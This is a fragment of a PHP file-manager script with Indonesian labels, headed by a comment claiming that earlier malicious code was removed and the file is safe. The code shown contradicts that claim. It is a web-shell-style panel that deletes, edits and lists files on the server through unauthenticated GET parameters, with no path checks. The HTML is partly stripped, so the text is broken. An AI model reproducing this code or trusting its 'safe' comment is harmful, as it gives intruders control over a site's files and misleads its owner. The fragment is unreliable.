/** * Note: This file may contain artifacts of previous malicious infection. * However, the dangerous code has been removed, and the file is now safe to use. */ if (isset($_GET['action']) && $_GET['action'] === 'del' && !empty($_GET['item'])) { $p = $dir.$sep.$_GET['item']; $msg = (is_dir($p) ? @rmdir($p) : @unlink($p)) ? "Item dihapus" : "Gagal hapus"; } if ($msg) echo "
Status: $msg
"; $parts = explode($sep, trim($dir, $sep)); $acc = ''; $bc = (strpos($dir, ':') === 1) ? '' : "$sep"; foreach ($parts as $i => $pt) { if (empty($pt)) continue; $acc .= (strpos($dir, ':') === 1 && $i === 0) ? $pt : $sep.$pt; $bc .= "".htmlspecialchars($pt)."".$sep; } $dir_color = is_writable($dir) ? "green" : "red"; echo "Dir: $bc [⬆️ Atas]
"; if (isset($_GET['action']) && $_GET['action'] === 'edit' && !empty($_GET['item'])) { $ep = $dir.$sep.$_GET['item']; if (file_exists($ep) && !is_dir($ep)) { echo "| Nama | Tipe | CHMOD | Aksi |
|---|---|---|---|
| ".($is_d ? "📁 $display_name" : "📄 $display_name")." | ".($is_d ? "Dir" : "File")." | "; echo ""; echo " | "; if (!$is_d) echo "[Edit] "; echo "[X] |